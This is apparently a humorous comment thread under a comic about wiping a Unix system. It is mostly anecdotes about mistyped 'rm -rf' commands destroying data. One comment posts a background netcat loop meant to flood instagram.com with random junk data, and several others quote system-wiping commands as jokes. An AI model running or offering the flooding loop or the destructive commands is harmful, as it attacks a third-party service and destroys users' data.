DOS user detected! In linux you don't need *.*, you can just use *

Decades ago I ran an "rm -fr *" as root, I thought that I was ~/bin, but I was in /bin. That was a fun lesson.

That's not how you remove the French

There's an ancient UNIX copypasta that's basically the plot of this comic, but it's troublingly hard to find the original online.

Here's one version I found: http://www.anvari.org/fun/Web_Tina/CREATION.html

I don't remember "technocrat" being part of the original, but it wouldn't be the first time my recollection has been wrong.

resizepart 1 128 Instead of 128GiB ...bad day

Don't forget to add the -v to see the apocalypse unfold in real-time!

Alabado sea El Omnissiah.

• El Señor Archmagos Miguelito Malparido Hijo de Puta VII

Well, you can't call yourself a computer expert until you erase your entire drive or make it unbootable at least 3 times.

I once read somewhere 30 years ago to literally sit on your hands when doing stuff like that.

I have followed this advice since, and confused a lot of co-workers over the years when i stop what i'm doing and sit on my hands while i re-read what is on the screen.

humans make mistakes, and sometimes mistakes are really really not what you want. everything that helps is a good thing :)

I found this magical command to send 50kb of random text data to meta's server to fill up their database with garbage data. I don't know how to do it on massive scale but at least I am doing my part by running this command 24/7 :)

while true;  do echo "$(openssl rand -hex 500000)" | netcat instagram.com 80 & disown; done;

Silly god! You just had to chattr -i !

"All-knowing" my ass. Half-baked deity can't even gentoo.

Even God is trying to remove the French

did that once but instead ran rm -rf / instead of rm -rf ./